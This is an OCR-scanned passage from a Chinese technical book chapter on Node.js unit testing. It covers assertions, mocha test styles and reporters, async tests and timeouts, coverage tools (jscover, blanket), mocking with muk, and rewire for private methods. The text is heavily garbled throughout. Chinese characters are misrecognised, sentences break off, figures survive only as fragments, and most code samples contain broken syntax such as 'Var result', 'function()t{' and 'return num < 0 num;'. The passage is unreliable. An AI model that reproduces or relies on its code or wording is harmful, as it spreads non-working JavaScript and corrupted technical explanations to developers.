维护 泥潭 的 投入 。 至 于 是 选择 在 早期 投入 成 本 还 是 在 后 期 投入 ， 只 是 朝 三 装 
四 还 是 朝 四 暮 三 的 选择 。 

展开 介绍 单元 测试 之 前 ， 需 要 提 及 的 问题 是 代码 的 可 测试 性 ， 它 是 能 够 为 其 
编写 单元 测 武 的 前 提 条 御 。 复杂 的 逻辑 代码 充满 各 种 分 文 和 判断 ， 甚 至 像 面 
条 一 样 乱 作 一 团 ， 要 对 它们 进行 测试 ， 难 度 相 当 大 。 一 个 感觉 吉 是 当 无 法 为 
一 段 代 码 写 出 单元 测试 时 ， 这 段 代码 必 然 有 坏 味 道 ， 这 会 为 开发 者 市 来 心理 
压力 ， 这 样 的 代码 最 需要 重 构 。 好 代码 的 单元 测试 必然 是 轻 量 的 ， 重 构 和 写 
单元 测试 之 间 是 一 个 相互 促进 的 步 又 ， 当 重 构 代 码 的 压力 比较 小 的 时 候 ， 也 
就 意味 着 代码 比较 稳定 ， 代 码 的 可 测试 性 越 好 ， 甚 至 代码 越 简 洛 。 

简单 而 言 ， 编 写 可 测试 代码 有 以 下 几 个 原则 可 以 遵循 。 


ee 


。 单一 职责 。 如 果 一 段 代 码 承担 的 职责 越 多 ， 为 其 编写 单元 测试 的 时 
9 
中 既 包 含 数据 库 的 连接 ， 含 查询 ， 那 么 为 它 编写 测试 用 例 就 要 
癌 时 关注 效 册 应 连接 和 孝 据 库 询 。 较 好 的 方式 是 将 这 两 种 职责 进 
行 解 看 分离 ， 变 成 两 个 单一 职责 的 方法 ， 分 别 测试 数据 库 连 接 和 数 
据 库 查 询 。 

。 接口 抽象 。 通 过 对 程序 代码 进行 接口 抽象 后 ， 我 们 可 以 针对 接口 进 
行 测试 ， 而 具体 代码 实现 的 变化 不 影响 为 接口 编写 的 单元 测试 。 

。 层次 分 离 。 层 次 分 离 实际 上 是 单一 职责 的 一 种 实现 。 在 MVC 结 构 的 
应 用 中 ， 就 是 典型 的 层次 分 离 模 型 ， 如 果 不 分 离 各 个 层次 ， 无 法 术 
Oe 通过 分 层 之 后 ， 可 以 逐 层 测试 ， ee 

了 O 
对 于 开发 者 而 言 ， 不 仅 要 编写 单元 测试 ， 还 应 当 编写 可 测试 代码 。 
10.1.2 ”单元 测试 介绍 
单元 测试 主要 包含 断言 、 测 试 框架 、 测 试用 例 、 测 试 履 盖 率 、mock、 持 续集 
成 等 几 个 方面 ， 由 于 Node 的 特殊 性 ， 它 还 会 加 入 导 步 代码 测试 和 私有 方法 的 
测试 这 两 个 部 分 。 

1. 断言 
鉴于 JavaScript 入 门 较为 容易 ， 在 开源 社区 中 可 以 看 到 许多 不 带 单 元 


测试 的 模块 出 现 ， 甚 至 有 的 模块 作者 并 不 了 解 单元 测试 究竟 是 怎么 
回 事 。 开 发 者 通常 仅仅 在 testjs 或 者 demo.js 里 看 到 示例 代码 ， 这 对 想 


O 〇 


ee 。 以 下 为 某 个 开源 模块 的 示 
刚 代码 : 


var readoF = require("readof"); 

readoF .read(pic, target path, function (error, data) { 
// do something 

}); 


此 类 代码 对 质量 没有 任何 保证 ， 这 主要 源 于 以 下 两 点 。 

没有 对 输出 结果 进行 任何 的 检测 。 

输入 条 件 履 盖 率 并 不 完备 。 
这 样 的 示例 代码 展现 的 是 “It works” 而 不 是 “Testing”。 示例 代 码 可 以 
正常 运行 并 不 代表 代码 是 没有 问题 的 。 如 何 对 输出 结果 进行 检测 ， 
以 确认 方法 调用 是 正常 的 ， 是 最 基本 的 测试 点 。 断 言 就 是 单元 测试 
中 用 来 保证 最 小 单元 是 否 正常 的 检测 方法 。 
如 果 有 对 Node 的 源码 进行 过 研究， 会 发 现 Node 中 存在 着 assert 这 个 模 
es 了 这 个 模块 。 何 谓 断 言 ， 维 基 百 科 上 
9 解 
在 程序 设计 中 ， 上 断言 (assertion) 是 一 种 放 在 程序 中 的 一 阶 逻辑 (如 

中 才 果 为 真 或 是 假 的 逻辑 判断 式 ) ， 目 的 是 为 了 标示 程序 开发 者 

预期 的 结果 当 程 序 运 行 到 断言 的 位 置 时 ， 入 应 的 所 表 应 该 为 
真 。 若 断言 不 为 真 ， 程 序 会 中 止 运行 ， 并 出 现 错误 信息 
一 言 以 蔽 之 ， 断 言 用 于 检 碍 程序 在 运行 时 是 否 满足 期 望 。JavaScript 
的 断言 言 规范 最 早 来 自 于 CommonJS 的 单元 测试 规范 ( 详 见 
http:/wiki.commonjs.org/wiki/Unit Testing/1.0) ，Node 实 现 了 规范 中 
的 断言 部 分 
如 下 代码 是 assert 模 块 的 工作 方式 : 


var assert = require('assert'); 
assert.equal(Math.max(1, 100), 100); 


~ .assert. equal(0) 不 满足 期 望 望 将 会 抛 出 xssgei5ienoE 于 全， 整个 程序 
会 停止 执行 。 没 有 对 答 出 结果 做 任何 断言 检查 的 代码 ， 都 不 是 测 
试 食品 没有 测试 代码 的 代码 ， 都 是 不 可 信赖 的 代码 。 


在 断言 规范 中 ， 我 们 定义 了 以 下 几 种 检测 方法 。 
ok(): 判断 结果 是 否 为 真 。 
equal(): 判断 实际 值 与 期 望 值 是 否 相 等 。 
notEqual(): 判断 实际 值 与 期 望 值 是 否 不 相等 。 
deepEqua1(): 判断 实际 值 与 期 望 值 是 否 深度 相等 (对象 或 数组 的 元 
素 是 否 相等 ) 。 
notpeepEqual0): 判断 实际 值 与 期 望 值 是 否 不 深度 相等 。 


o strictEqual(): 判断 实际 值 与 期 望 值 是 否 严格 相等 (相当 于 ===) 。 
o notstrictEqual(): 判断 实际 值 与 期 望 值 是 否 不 严格 相等 (相当 


o throws(): 判断 代码 块 是 否 抛 出 异常 。 
除 此 之 外 ，Node 的 assert 模 块 还 扩充 了 如 下 两 个 断言 方法 。 
o doesNotThrow(): 判断 代码 块 是 否 没 有 抛 出 异常 。 
O ifError(): 判断 实际 值 是 否 为 一 个 假 值 (Fi ~ undefined 、 0、 
false) ， 如 果实 际 值 为 真 值 ， 将 会 抛 出 异常 。 
目前 ， 市 面 上 的 断言 库 大 多 都 是 基于 assert 模 块 进行 封装 和 扩展 的 ， 
这 包括 著名 的 should.js 断 言 库 。 
测试 框架 
前 面 提 到 断言 一 旦 检查 失败 ， 将 会 抛 出 异常 停 止 整个 应 用 ， 这 对 于 
做 大 规模 断言 检查 时 并 不 友好 。 更 通用 的 做 法 是 ， 记 录 下 抛 出 的 异 
前 并 继续 执行 ， 最 后 生成 测试 报告 。 这 些 任务 的 承担 者 就 是 测试 框 
染 o 
测试 框架 用 于 为 测试 服务 ， 它 本 喘 并 不 参与 测试 ， 主 要 用 于 管理 测 
试用 例 和 生成 测试 报告 ， 提 升 测试 用 例 的 开发 速度 ， 提 高 测试 用 例 
的 可 维护 性 和 可 读 性 ， 以 及 一 些 周边 性 的 工作 。 这 里 我 们 要 介绍 的 
优秀 单元 测试 框架 是 mocha， 它 来 自 Node 社 区 的 明星 开发 者 TJ 
Holowaychuk 2 通过 npm install mocha 命 令 即 可 安装 ， 在 安装 时 添加 -9 命 
令 可 以 将 其 安装 为 全 局 工具 。 
o 测试 风格 
我 们 将 测试 用 例 的 不 同 组 织 方式 称 为 测试 风格 ， 现 今 流行 的 单 
元 测试 风格 主要 有 TDD (测试 驱动 开发 ) 和 BDD (行为 驱动 开 
发 ) 两 种 ， 它 们 的 差别 如 下 所 示 。 

. 关注 点 不 同 。TDD 关 注 所 有 功能 是 否 被 正确 实现 ， 每 一 个 
功能 都 具备 对 应 的 测试 用 例 ; BDD 关 注 整 体 行为 是 否 符合 
预期 ， 适 合 自 顶 向 下 的 设计 方式 。 

= 表达 方式 不 同 。 TDD 的 表述 方式 偏向 于 功能 说 明 书 的 风 
格 ;，BDD 的 表 壕 方式 更 接近 于 自然 语言 的 习惯 。 

mocha 对 于 两 种 测试 风格 都 有 支持 。 下 面 为 两 种 测试 风格 的 示 
例 ， 其 BDD 风 格 的 示例 如 下 : 


describe('Array', function(){ 
before(function(){ 
/A as 
2 
describe('#indexof()', function(){ 


it('should return -1 when not present', function()t{ 
[1,2,3].indexof(4).should.equal(-1); 


了 ) 
天) 


BDD 对 测 试用 例 的 组 织 主 要 采用 describe 和 it 进 井 行 组 织 。 describe 
可 以 描述 多 层级 的 结构 ， 有 具体 到 测试 用 例 时 ， 用 it。 另 外 ， 它 还 
提供 before 、 after 、 beforeEacn 和 afterEach 这 4 个 钩子 方法 用 于 协助 
deseribe 中 测试 用 例 的 准备 、 安装 、 节 载 和 回收 等 工作 。before 和 
after 分 另 别 在 进入 和 退出 uescribe 时 触发 执行 ， beforeEach 不 HafterEach 则 
分 别 在 eserive 中 每 一 个 测试 用 例 (it) 执行 前 和 执行 后 触发 执 
行 。 

BDD 风 格 的 组 织 示 意图 如 图 10- 1 所 不 E 


， (方法 ) ， 


(方法 ) ， 


PE 


，( 方 法 ) ， 


四 


图 10-1 BDD 风 格 的 组 织 示意 图 
TDD 风 格 的 示例 如 下 所 示 : 


suite('Array', function(){ 
setup(function(){ 
LF es 
}); 


suite('#indexof()', function(){ 
test('should return -1 when not present', function(){ 
assert.equal(-1, [1,2,3].indexof(4)); 
}); 
3 
}); 
TDD 对 测试 用 例 的 组 织 主要 采用 suite 和 test 完 成 。 | 以 实 
现 多 层级 描述 ， 测 试用 例 用 test。 它 提供 的 钧 子 函 数 仅 包含 setup 
| ese , 对 应 BDD 中 的 before 和 after TDD 风 格 的 组 织 示 “意图 
如 图 10-2 所 示 。 


图 10-2 TDD 风 格 的 组 织 示意 图 


测试 报告 

作为 测试 框架 ，mocha 设 计 得 十 分 灵活 ， 它 与 断言 之 间 并 不 耦 
合 ， 使 得 具体 的 测试 用 例 既 可 以 采用 assert 原 生 模 块 ， 也 可 以 采 
用 扩展 的 断言 库 ， Te expect 和 chai 等 、 但 无 论 采 用 哪个 汤 
言 库 ， 运 行 测试 用 例 后 ， 测 试 报告 是 开发 者 和 质量 管理 者 都 关 
注 的 东西 。 

mocha 提 供 了 相当 丰富 的 报告 格式 ， 调用 mocha --reporters 即 可 查看 
所 有 的 报告 格式 : 


$ mocha --reporters 


dot - dot matrix 

doc - html documentation 

spec - hierarchical spec list 

json - single json object 

progress - progress bar 

list - spec-style listing 

tap - test-anything-protocol 

landing - unicode landing strip 

xunit - xunit reporter 

teamcity - teamcity ci support 

html-cov - HTML test coverage 

json-cov - JSON test coverage 

min - minimal reporter (great with --watch) 
json-stream - newline delimited json events 
markdown - markdown documentation (github flavour) 
nyan - nyan cat! 


默认 的 报告 格式 为 ot， 其 他 比较 第 用 的 格式 有 spec 、json 、html-cov 
等 9 执行 moeta -R <reporter> 命 令 即 可 采用 这 些 报告 json 报 告 因 为 
其 格式 非常 通用 ， 多 用 于 将 结果 传递 给 其 他 程序 进行 处 理 ， 而 
html-cov 则 用 于 可 视 化 地 观察 代码 覆盖 率 。 图 10-3 是 spec 格 式 的 报 


口 


如 采 有 测试 用 例 执行 失败 ， 会 得 到 如 图 10-4 所 示 的 结 


= 


mocha bash 


A mocha Cmaster); moke test 


Arroay 
ztLndekOfCD 


#popl) 


图 10-3 ”spec 格 式 的 报告 
me -help 命令 可 以 看 到 更 多 的 帮助 信息 来 了 解 如 何 使 用 它 
| O 


hould return -1 vihen the value is 


make: *#*# [test-unit] Error 1 


图 10-4 ”有 测试 用 例 执行 失败 时 的 结果 
测试 代码 的 文件 组 织 


| 


还 记得 第 2 章 中 介绍 到 的 包 规范 吗 ? 包 规 范 中 定义 了 测试 代码 存在 了 
test 目 录 中 ， 而 模块 代码 存在 于 ]ib 目 隶 下 。 

除 此 之 外 ， 想 让 你 的 单元 测试 顺利 运行 起 来 ， 请 记得 在 包 描述 文人 
(package.json) 中 添加 相应 模块 的 依赖 关系 。 由 于 mocha 只 在 运行 测 
试 时 需 : 所 以 添加 到 devoependencies 有 点 即 可 : 


[5 


< 一 


O 


"devDependencies": { 
"mocha" Ww 


测试 用 例 
介绍 完 测试 框架 的 基本 功能 后 ， 我 们 对 测试 用 例 也 有 了 简单 的 认 知 


例 ， 


才 


了 。 简 单 来 讲 ， 一 个 行为 或 者 功能 需要 有 完善 的 、 多 方面 的 测试 用 


一 个 测试 用 例 中 包含 至 少 一 个 断言 。 示 例 代码 如 


describe('#indexof()', function(){ 
it('should return -1 when not present', function()t{ 


[1,2,3].indexof(4).should.equal(-1); 
}); 


it('should return index when present', function(){ 


}; 


[1,2,3].indexof(1).should.equal(0); 

[1,2,3].indexof(2).should.equal(1); 

[1,2,3].indexof(3).should.equal(2); 
}); 


测试 用 例 最 少 需 要 通过 正 向 测试 和 反 向 测试 来 保证 测试 对 功能 的 履 


= 
HL， 


这 是 最 基本 的 测试 用 例 。 对 于 Node 而 言 ， 不 仅 有 这 样 简单 的 方 


法 调用 ， 还 有 异步 代码 和 超时 设置 需要 关注 。 


异步 测试 

由 于 Node 环 境 的 特殊 性 ， 异 步调 用 非常 常见 ， 这 也 带 来 了 有 异步 
代码 在 测试 方面 的 挑战 。 在 其 他 典型 编程 语言 中 ， 如 Java、 
Ruby、Python ， 代 码 大 多 十 同步 执行 的 ， 所 以 测试 用 例 基 本 上 
只 要 包含 一 些 断 言 检查 返回 值 即 可 。 但 是 在 Node 中 ， 检 查 方法 
的 返回 值 毫 无 意义 ， 并 且 不 知道 回调 函数 具体 何 时 调用 结束 ， 

这 将 导致 我 们 在 对 异步 调用 进行 测试 时 ， 无 法 调度 后 续 测 试用 
例 的 执行 。 

所 素 ，mocha 解 决 了 这 个 问题 。 以 下 为 6 模块 中 sewne 的 宙 斌 用 
列 : 


it('fs,readFile should be ok', function (done) { 
fs.readFile('file path', 'utf-8', function (err, data) { 
should.not.exist(err); 
done(); 
}); 
}); 


在 上 述 代码 中 ， 测 试用 例 方法 it0 接 受 两 个 参数 ， 用 例 标题 
(ite) 和 回调 画 数 (如 ) 。 通 过 检查 这 个 回调 画 数 的 形 参 长 度 
(rm.zengtn) 来 判断 这 个 用 例 是 否 是 异步 调用 ， 如 果 是 异步 调 
用 ， 在 执行 测试 用 例 时 ， 会 将 一 个 画 数 doe0 注 入 为 实 参 ， 测 斌 
代码 需要 主动 调用 这 个 画 数 通知 测试 框架 当前 测试 用 例 执行 完 
成 ， 然 后 测试 框架 才 进 行 下 一 个 测试 用 例 的 执行 ， 这 与 第 4 章 里 
提 到 的 尾 触发 十 分 类 似 。 

超时 设置 


异步 方法 给 测试 带 来 的 问题 并 不 是 断言 方面 有 什么 异同 ， 主 要 

在 于 回调 数 执行 的 时 间 无 从 预期 。 通过 上 面 的 例子 ， 我 们 无 
去 知道 done0) 具体 在 什么 时 间 执 行 。 如 有 果 代 码 偶然 出 错 ， 导 致 

< 直 没 有 执行 ， 将 会 造成 所 有 的 测试 用 例 处 于 暂停 状态 ， 
显然 不 是 框架 所 期 望 的 。 


ie 步 的 测试 用 例 添加 了 超时 限制 ， 如 果 一 个 用 
例 的 执行 时 间 超 过 了 预期 时 间 ， 将 会 记录 下 一 个 超时 错误 ， 然 
后 执行 下 一 个 测试 用 例 。 

下 面 这 个 测试 用 例 因为 10 秒 后 才 执行 ， 导 致 测试 框架 处 理 为 超 
时 错误 : 

it('async test', function (done) { 

// 模拟 一 个 要 执行 很 久 的 异步 方法 


setTimeout(done, 10000); 
}); 


mocha 的 默认 超时 时 间 为 2000 毫 秘 一 般 情况 下 ， 通过 iGena 
<ms> 设 置 所 有 用 例 的 超时 时 间 。 考 需 更 细 粒 度 地 设置 超时 时 间 ， 
可 以 在 测试 用 例 it 中 调用 tnis. timeout(ms) 实 现 对 单个 用 例 的 特殊 设 
置 ， 示 例 代码 如 下 : 


it('should take less than 500ms'，Tfunction (done) { 
this.timeout(500); 
setTimeout(done, 300); 
); 


四 


也 可 以 在 描述 uescribe 中 调用 this ， timeout(ms) 设 置 描 述 下 当 前 层级 的 
所 有 用 例 : 


describe('a suite of tests', function(){ 
this.timeout(500); 
it('should take less than 500ms', function (done) { 
setTimeout(done, 300); 
); 


it('should take less than 500ms as well', function (done) { 
setTimeout(done, 200); 


3 
}); 


测试 覆盖 率 
通过 不 停 地 给 代码 添加 测试 用 例 ， 将 会 不 断 地 窗 芋 代码 的 分 文 和 不 


同 的 


理 况 。 但 十 如 何 判断 单元 测试 对 代码 的 覆盖 情况 ， 我 们 需要 直 


ee 


观 的 工具 来 体现 。 测 试 履 盖 率 是 单元 测试 中 的 一 个 重要 指标 ， 它 能 


月 概 括 隆 地 给 出 整体 的 覆盖 度 ， 也 能 明确 地 给 出 统计 到 行 的 覆盖 情 


对 于 如 下 这 段 代码 : 


exports.parseAsync = function (input, callback) { 
setTimeout(function () { 


Var result; 
try { 
result = JSON.parse(input); 


} catch (e) { 
return callback(e); 


} 
callback(null, result); 
}, 10); 


了 


我 们 为 其 添加 部 分 测试 用 例 ， 具 体 如 下 : 


describe('parseAsync', function () { 
it('parseAsync should ok', function (done) { 
lib.parseAsync('{"name": "JacksonTian"}', function (err, data) { 
should.not.exist(err); 


data.name.should.be.equal('JacksonTian'); 
done(); 


若 要 探知 这 个 测试 用 例 对 源 代码 的 覆盖 率 ， 需 要 一 种 工具 来 3 
一 行 代码 是 否 执 行 ， 这 里 要 介绍 的 相关 工具 是 jscover 模 块 。 通 过 npn 
install jscover -g 的 方式 可 以 安装 该 模块 


假设 你 的 这 段 代 码 遵 循 CommonJS 规 苑 并 且 存 放 在 lib 目 孙 下 ， 那 么 调 
用 jagver LHD LID: cov 进 行 源 代 码 的 编 i 辛 吧 。 jscover 会 将 lib 目 录 下 的 .js 文 
件 编译 到 ]ib-cov 目 录 下 ， 你 会 得 到 类 似 下 面 的 代码 : 


_$jscoverage['index.js'][31]++; 
exports.parseAsync = function(input, callback) { 
_$jscoverage['index.js'][32]++; 
setTimeout(function() { 
_$jscoverage['index.js'][33]++; 
Var result,; 
_$jscoverage['index.js'][34]++; 
try { 
_$jscoveragel['index.js'][35]++; 
result = JSON.parse(input); 
} catch (e) { 
_$jscoverage['index.js'][37]++; 
return callback(e); 
} 
_$jscoverage['index.js'][39]++; 
callback(null, result); 
}, 10); 
中 


我 们 看 到 ， 每 一 行 原始 代码 的 前 面 都 有 一 些 sjscoverage 的 代码 出 现 ， 


它们 将 ds 行 代码 被 执行 了 多 少 次 ， 也 即 除了 统计 
是 否 执行 外 ， EB 统计 次 数 。 


A 0 通过 -require 引入 lib 目 录 下 的 文件 进行 测试 。 
人 必须 在 运行 测试 用 例 时 执行 编译 之 后 的 


为 了 区 分 这 种 注入 代码 和 原始 代码 的 区 别 ， 我 们 在 模块 的 入 口 文件 
通常 是 包 目 录 下 的 index.js) 中 需要 做 简单 的 区 别 ， 示 例 代码 如 


module.exports 三 process,env.LIB_COV ? require('./]1ib- 
cov/index') : require('./lib/index'); 


在 运行 测试 代码 时 ， 会 设置 一 个 Lr8_cov 的 环境 变量 ， 以 此 区 分 测试 环 
境 和 正常 环境 。 
执行 以 下 命令 行 即 可 得 到 覆盖 率 的 输出 结 


// 设置 当前 命令 行 有 效 的 变量 
export LIB_COV=1 
mocha -R html-cov > coverage.html 


这 个 流程 的 示意 图 如 图 10-5 所 示 。 


测试 
图 10-5 ”流程 示意 图 
在 这 次 测试 中 ， 我 们 用 到 了 htm-cov 报 告 ， 它 帮 我 们 生成 了 一 张 HTML 
页 面 ， 具 体 地 标 出 了 哪 一 行 未 执行 到 ， 整 体 覆 盖 率 为 多 少 。 图 10-6 为 
页 面 截图 ， 从 中 可 以 看 到 有 一 行 代码 没有 被 测试 到 。 


Coverage 


Exports.porseAsync = function Cinput, callback) { 
SetTineoutC(function (〔() { 


vor result; 


result = JSON.parseCinput); 
} cotch (Ce) { 
return collback(Ce); 
} 
collbockCnull, result); 
}, 10); 


图 10-6 ”覆盖 率 测试 结果 
单元 测试 覆盖 率 方便 我 们 定位 没有 测试 到 的 代码 行 。 通 常 ， 我 们 行 
主 会 不 经 意 地 遗漏 掉 一 些 异 常情 况 的 覆盖 。 
和 
列 : 


it('parseAsync should throw err', function (done) { 
lib.parseAsync('{"name": "JacksonTian"}}', function (err, data) { 
should.exist(err); 
done( ); 


}); 

}); 

再 次 执行 测试 用 例 ， 我 们 将 得 到 一 个 100% 黎 盖 率 的 页 面 ， 如 网 10-7 
所 示 。 


Fb 


—、 


Coverage 


exports.parseAsync = function (Cinput, caollbock) { 


setTinout(function () { 
Var result; 
try { 
resu 
} cotch Ce) { 
return 
} 
collbock(null, result); 
}, 108); 
}; 


\t = JSON,parseCinput); 


collback(Ce); 


图 10-7 100% 禾 盖 率 的 页 面 


在 使 用 过 程 中 ， 也 可 以 使 用 json-cov 报 告 ， 这 样 结果 数据 对 其 余 系 统 较 
ntml-cov 报 告 即 是 采用 json-cov 的 数据 与 模板 泻 染 而 成 


为 友好 。 
的 。 


事实 上 ， 


jscover 模 块 虽然 已 经 够 用 ， 但 是 还 有 两 个 问题 。 
它 的 编译 音 


ava° 


需要 编译 代码 到 一 个 额外 的 新 目录 ， 


分 是 通过 Java 实 现 的 ， 


有 了 这 两 个 问题 ， 它 由 纯 JavaScript 实 现 ， 
的 过 程 也 是 隐 式 的 ， 无 须 配置 领 外 的 目 示 ， 对 于 原 模块 项 


处 鸭 全 人 


blanket 与 jscover 的 原理 基本 一 致 ， 在 实现 过 程 上 有 所 不 同 ， 
于 blanket 将 编译 的 步 又 注入 在 require 中 ， 而 不 是 去 额外 编译 成 文件 ， 


这 样 环境 依赖 上 束 多 出 了 
这 个 过 程 相对 矿 烦 。 


编译 代码 
没有 额 


执行 测试 时 再 去 引用 编译 后 的 文件 ， 它 的 技巧 在 require 中 。 


它 的 配置 比 jscover 要 简单 ， 只 需要 在 所 有 测试 用 例 运 行 之 
requirej 和 站 项 引入 它 即 可 : 


mocha --require blanket -R html-cov > coverage.html 


另 一 个 需要 注意 的 是 ， 在 包 描 述 文件 中 配置 scripts 节 点 9 在 scripts 丫 


"Scripts" ， 


"blanket": 


点 中 ， pattern 


t 


EE 


生 用 以 匹配 需要 编译 的 文件 : 


其 差别 在 


人 一 


之 前 通过 


"pattern": "eventproxy/1ib" 
上 
}, 


当 在 测试 文件 中 通过 require 引 入 一 个 文件 模块 时 ， 它 将 判断 这 个 文件 
的 实际 路 径 ， 如 果 符 合 这 个 匹配 规则 ， 就 对 它 进行 编译 。 它 的 编译 
与 jscover 不 同 ，jscover 需 要 将 文件 编译 到 磁 副 上 的 另 一 个 目录 lib-cov 
中 。 但 是 blanket 则 不 同 ， 它 的 原理 与 第 2 章 中 讲 到 的 文件 模块 编译 相 
同 。 我 们 知道 ， 对 于 .js 文件 ，Node 会 将 它 的 编译 逻辑 封装 在 


require.extensions['.js'] 中 8 blanket 正 是 在 这 个 环 机 中 实现 了 编译 ， 将 履 
兰 率 的 追踪 代码 插入 到 原始 代码 中 ， 然 后 再 由 原始 模块 处 理 逻 辑 进 
行 处 理 ， 示 意图 如 图 10-8 所 示 。 


图 10-8 ”blanket 的 编译 流程 
使 用 blanket 之 后 ， 就 无 须 配置 环境 变量 了 ， 也 无 须根 据 环 境 去 判断 引 
入 哪 种 代码 ， 所 以 下 面 这 行 代码 就 不 再 需要 了 : 


module.exports 三 process.env.LIB_ COV ? require('./1ib- 
cov/index') : require('./lib/index'); 


mock 
前 面 提 到 开发 者 常常 会 遗漏 掉 一 些 异常 案例 ， 其 中 相当 大 一 部 分 原 
因 在 于 异常 的 情况 较 难 实现 。 大 多 异常 与 输入 数据 并 无 绝对 的 关 
系 ， 比 如 数据 库 的 异步 调用 ， 除 了 输入 异常 外 ， 还 有 可 能 是 网 络 异 
常 、 权 限 异 常 等 非 输入 数据 相关 的 情况 ， 这 相对 难以 模拟 。 
在 测试 领域 里 ， 模 拟 异 常 其 实 是 一 个 不 小 的 科目 ， 它 有 着 一 个 特殊 
的 名 词 : mock。 我 们 通过 伪造 被 调用 方 来 测试 上 层 代码 的 健壮 性 


以 下 面 的 代码 为 例 ， 文 件 系统 的 异常 是 绝对 不 容易 呈现 的 ， 为 了 测 
试 代 码 的 健壮 性 而 专程 调节 磁盘 上 的 权限 等 ， 成 本 略 高 : 


exports.getContent = function (filename) { 
try { 
return fs.readFileSync(filename， 'utf-8'); 
} catch (e) { 
return ''; 
} 
}; 


为 了 解决 这 个 问题 ， 我 们 通过 伪造 rs.readrilesync() 方 法 抛 出 错误 来 触 
发 异常 。 同 时 为 了 保证 该 测试 用 例 不 影响 其 余 用 例 ， 我 们 需要 在 执 
行 完 后 还 原 它 有 为 此 ， 前 面 提 到 的 betore() 和 atter() 钧 子 函 数 派 上 了 用 
场 ， 相 关 代 码 如 下 : 


describe("getContent", function () { 
var _readFileSync; 
before(function () { 
_readFileSync = fs.readFileSync ， 
fs.readFileSync = function (filename, encoding) { 
throw new Error("mock readFileSync error")); 


/EY 
after(function () { 
fs.readFileSync = _readFileSync ， 
}) 
}); 


我 们 在 执行 测试 用 例 前 将 引用 替换 掉 ， 执 行 结束 后 还 原 它 。 如 果 每 
个 测试 用 例 执 行 前 后 都 要 进行 设置 和 还 原 ， 就 使 用 beroreEacn() 和 
afterEach() 这 两 个 钧 子 函 数 > 

由 于 mock 的 过 程 比 较 烦 开 ， 这 里 推荐 一 个 模块 来 解决 此 事 一 一 wuk， 
示例 代码 如 下 : 


var fs = require('fs'); 
var muk = require('muk'); 
before(function () { 
muk(fs, 'readFileSync', function(path, encoding) { 
throw new Error("mock readFileSync error"); 
}); 
}); 


// it(); 


after(function () { 
muk.restore(); 


}); 


当 有 多 个 用 例 时 ， 相 关 代 码 如 下 : 


var fs = require('fs'); 
var muk = require('muk'); 
beforeEach(function () { 
muk(fs, 'readFileSync', function(path, encoding) { 
throw new Error("mock readFileSync error"); 
}); 
有 


// it(); 
// it(); 


afterEach(function () { 


muk.restore(); 


人 
通过 模拟 故 层 方法 出 现 异 常 的 情况 ， 现 在 只 要 检测 调用 方 的 输出 值 
征 否 符合 期 望 即 可 ， 无 须 关 注 是 否 是 真正 的 异 遂 。 模 拟 异 党 可 以 很 
和 


值得 注意 的 一 点 是 ， 对 于 异步 方法 的 模拟 ， 需 要 十 分 小 心 是 否 将 异 
步 方法 模拟 为 同步 。 下 面 的 mock 方 式 可 能 会 引起 意外 的 结 


fs.readFile = function (filename, encoding, callback) { 
callback(new Error("mock readFile error")); 


}; 


正确 的 mock 方 式 是 尽量 让 mock 后 的 行为 与 原始 行为 保持 一 致 ， 相 关 
代码 如 下 : 


fs.readFile = function (filename, encoding, callback) { 
process.nextTick(function () 
callback(new Error("mock readFile error")); 


}); 
}; 


模拟 异步 方法 时 ， 我 们 调用 process.nexttick() 使 得 回调 方法 能 够 异步 执 
行 即 可 。 关 于 process.nextrick() 的 原理 ， 第 3 章 中 有 所 阐述 ， 此 处 不 再 做 
更 多 解释 。 

私有 方法 的 测试 

对 于 Node 而 言 ， 又 一 个 难点 会 出 现在 单元 测试 的 过 程 中 ， 那 就 是 私 
有 方法 的 测试 ， 这 在 第 2 章 中 介绍 过 。 只 有 挂 载 在 exports 或 
module.exports 上 的 变量 或 方法 才 可 以 被 外 部 通过 require 引 入 访 问 其 余 
方法 只 能 在 模块 内 部 被 调用 和 访问 。 

在 Java 一 类 的 语言 里 ， 私 有 方法 的 访问 可 以 通过 反射 的 方式 实现 。 那 
么 ，Node 该 如 何 实现 呢 ? 是 否 可 以 因为 它们 是 私有 方法 就 不 用 为 它 
们 添加 单元 测试 ? 
答案 是 否定 的 ， 为 了 应 用 的 健壮 性 ， 我 们 应 该 尽 可 能 地 给 方法 添加 
测 斌 用例。 那么 除了 将 这 些 私 有 方法 通过 exports 导 出 外 ， 还 有 别 的 方 
法 吗 ? 管 案 是 肯定 的 。rewire 模 块 提 供 了 一 种 巧妙 的 方式 实现 对 私有 
方法 的 访问 。 

rewire 的 调用 方式 与 require 十 分 类 似 。 对 于 如 下 的 私有 方法 ， 我 们 获 
取 它 并 为 其 执行 测试 用 例 非常 简单 : 

var limit = function (num) { 


return num < 0 num; 


}; 


测试 用 例如 下 : 


it('limit should return success', function () { 
var lib = rewire('../lib/index.js'); 
var litmit = lib. get _('limit'); 
litmit(10).should.be.equal(10); 

}); 


rewire 的 诀窍 在 于 它 引 入 文件 时 ， 像 require 一 样 对 原始 文件 做 了 一 定 
的 手脚 久 除了 沭 加 (function(exports， require, module, _ filename, __dirname) 


{和 ;的 头 尾 包装 外 ， 它 还 注入 了 部 分 代码 ， 具 体 如 下 所 示 : 


(function (exports, require, module, _ filename, _ dirname) { 
var method = function () {}; 


exports. set = function (name, value) { 
eval(name " = " value.toString()); 
了 
exports. get = function (name) { 
return eval(name ) 
}; 
}9 


每 一 个 被 rewire 引 入 的 模块 都 有 _set_0 和 _eet_(0) 方 法 。 它 巧妙 地 利用 
了 闭 包 的 诀 穷 ， 在 eval0 执 行 时 ， 实 现 了 对 模块 内 部 局 部 变量 的 访 
问 ， 从 而 可 以 将 局 部 变量 导出 给 测试 用 例 调用 执行 。 


10.1.3 ”工程 化 与 自动 化 
Node 以 及 第 三 方 模块 提供 的 方法 都 相对 偏 底层 ， 在 开发 项 目 时 ， 还 需要 一 


的 了 


成 ) 


定 
[ 具 来 实现 工程 化 和 自动 化 (这 里 我 们 介绍 其 中 的 一 种 方式 一 一 持续 集 
以 减少 手工 成 本 。 


工程 化 

Node 在 *nix 系 统 下 可 以 很 好 地 利用 一 些 成 熟 工 具 ， 其 中 Makefile 比 较 
小 巧 灵活 ， 适 合用 来 构建 工程 。 

下 面 是 我 常用 的 Makefile 文 件 的 内 容 : 


TESTS = test/*.js 
REPORTER = spec 
TIMEOUT = 10000 
MOCHA_OPTS = 


test: 
Q@NODE_ENV=test ./node modules/mocha/bin/mocha \ 
--reporter $(REPORTER) 和 
--timeout $(TIMEOUT) 和 
$(MOCHA_OPTS) \ 
$(TESTS) 


test-cov: 
